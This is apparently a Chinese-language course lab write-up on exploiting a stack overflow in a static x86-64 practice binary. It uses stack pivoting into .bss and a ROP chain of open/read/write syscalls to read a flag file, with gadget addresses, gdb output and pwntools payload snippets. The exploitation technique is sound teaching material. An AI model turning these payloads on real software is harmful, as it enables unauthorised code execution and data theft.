Simple PWN 0x35(2023 Lab - Stack Pivot)
Background
Simple PWN - 0x09(stack pivoting) Simple PWN - 0x10(seccomp/Lab - rop2win)
Source code
1 |
|
Recon
這一題助教是預設我們必須要使用stack pivot的技巧拿到flag,不過沒有時間設定seccomp,所以我們自己假裝只能使用read / write / open這三個syscall
- checksec + file
1
2
3
4
5
6
7
8
9$ checksec chal [*] '/mnt/d/NTU/Second Year/Computer Security/PWN/Lab2/lab_stack_pivot/share/chal' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) $ file chal chal: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=26fa8e6daa97baf7a26596ea91af5703dd932327, for GNU/Linux 3.2.0, not stripped
首先可以看到該binary是statically link,所以直覺是利用ROP chain拿到shell,不過仔細看source code會發現BOF的長度顯然不太夠我們蓋成shell,所以需要用到stack pivot的技巧,控制RBP跳到其他的地方繼續寫
- 找gadget
1
2
3
4
5
6leave_ret = 0x0000000000401cfc pop_rdi_ret = 0x0000000000401832 pop_rsi_ret = 0x000000000040f01e pop_rax_ret = 0x0000000000448d27 pop_rdx_ret = 0x000000000040173f syscall_ret = 0x0000000000448280
這邊的重點是syscall ret這個gadget,其實他不是syscall完之後直接ret,而是在經過一些判斷才會進到ret,這個可以從gdb看出來
1
2
3
4
5gef➤ x/10i 0x448280 0x448280 <read+16>: syscall => 0x448282 <read+18>: cmp rax,0xfffffffffffff000 0x448288 <read+24>: ja 0x4482e0 <read+112> 0x44828a <read+26>: ret
會這樣的原因是我們在ROPgadget中找不到
syscall ; ret
的gadget,所以助教提示可以直接從read / write這種function找,這樣syscall完了之後會很快的接到ret,這樣中間的操作才不會太影響我們蓋的rop - Construct ROP
首先,我們的流程是
==main_fn → bss_open → main_fn → bss_open → main_fn → bss_write==
會這樣的原因是我們只能寫入0x60的空間而已,所以把open / read / write分開寫,而寫完且執行完後會再跳原main_fn,這樣才能讓我們再讀取下一段的ROP payload
- 寫入的bss_addr和main_fn address
1
2
3
4bss_addr_open = 0x4c2700 bss_addr_read = 0x4c2800 bss_addr_write = 0x4c2900 main_fn = 0x401ce1
- 先讓rbp跳到bss_open,然後ret到main_fn,接要放到bss_open的payload
1
2trash_payload = b'a'*0x20 r.sendline(trash_payload + p64(bss_addr_open) + p64(main_fn))
之前的rop chain我們會把RBP一起蓋掉,但現在因為要跳到其他的地方,所以rbp的部分就跳到
0x4c2700
,然後ret address接main_fn 用gdb跟一下,放完的結果大概是這樣1
2
3
4
5
60x00007ffc884f3670│+0x0000: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ← $rsp, $rsi 0x00007ffc884f3678│+0x0008: "aaaaaaaaaaaaaaaaaaaaaaaa" 0x00007ffc884f3680│+0x0010: "aaaaaaaaaaaaaaaa" 0x00007ffc884f3688│+0x0018: "aaaaaaaa" 0x00007ffc884f3690│+0x0020: 0x00000000004c2700 → <transmem_list+0> add BYTE PTR [rax], al ← $rbp 0x00007ffc884f3698│+0x0028: 0x0000000000401ce1 → <main+12> lea rax, [rbp-0x20]
當main_fn執行完leave(
mov rsp , rbp ; pop rbp ;
)的時候,rbp就會指到==0x4c2700==,當我們ret到main_fn時,就可以再次輸入payload放到0x4c2700 - 觀察main_fn的assembly
1
2
3
4
5
6
7
8
9
10
11gef➤ x/10i &main 0x401cd5 <main>: endbr64 0x401cd9 <main+4>: push rbp 0x401cda <main+5>: mov rbp,rsp 0x401cdd <main+8>: sub rsp,0x20 0x401ce1 <main+12>: lea rax,[rbp-0x20] 0x401ce5 <main+16>: mov edx,0x80 0x401cea <main+21>: mov rsi,rax 0x401ced <main+24>: mov edi,0x0 0x401cf2 <main+29>: call 0x448270 <read> 0x401cf7 <main+34>: mov eax,0x0
從以上的code可以看得出來,我們是跳到0x401ce1,所以rbp會張出0x20的空間,也就是==0x4c2700-0x20=0x4c26e0==,然後read到的內容就會放到這邊來
- 寫入bss_addr_open
我們的目標是達成==fd = open(“/home/chal/flag.txt”, 0);==,具體payload如下
1
2
3
4
5
6
7
8
9
10
11
12
13file_addr = b'/home/chal/flag.txt'.ljust(0x20, b'\x00') ROP_open = flat( # Open file # fd = open("/home/chal/flag.txt", 0); bss_addr_read, pop_rax_ret, 2, pop_rdi_ret, bss_addr_open - 0x20, pop_rsi_ret, 0, pop_rdx_ret, 0, syscall_ret, main_fn ) r.sendline(file_addr + ROP_open)
首先原本的0x20就拿來放檔案的位址,不過為甚麼後面還要再接著bss_addr_write呢?就和上面一樣,我們要寫別的rop payload上去,因為原本的位子不夠寫了,所以syscall_ret後接到main_fn,他會讀取我們寫入的rop payload到bss_addr_read的地方
- 寫入bss_addr_read
我們要達成的目標是==read(fd, buf, 0x30)==,具體payload如下
1
2
3
4
5
6
7
8
9
10
11
12ROP_read = flat( # Read the file # read(fd, buf, 0x30); bss_addr_write, pop_rax_ret, 0, pop_rdi_ret, 3, pop_rsi_ret, bss_addr_read, pop_rdx_ret, 0x30, syscall_ret, main_fn ) r.sendline(file_addr + ROP_read)
- 寫入bss_addr_write
我們要達成的目標是==write(fd, buf, 0x30)==,具體payload如下
1
2
3
4
5
6
7
8
9
10
11
12ROP_write = flat( # Write the file # write(1, buf, 0x30); bss_addr_write, pop_rax_ret, 1, pop_rdi_ret, 1, pop_rsi_ret, bss_addr_read, pop_rdx_ret, 0x30, syscall_ret, 0 ) r.sendline(file_addr + ROP_write)
- 寫入的bss_addr和main_fn address
:::danger 執行的時候如果遇到local端可以run但server爛掉的情況,有可能是raw_input()造成的,可以先註解掉這些東西,如果還是遇到一樣的問題,可以開docker在裡面執行
1 |
|
:::
Exploit - ROPchain + stack pivot
1 |
|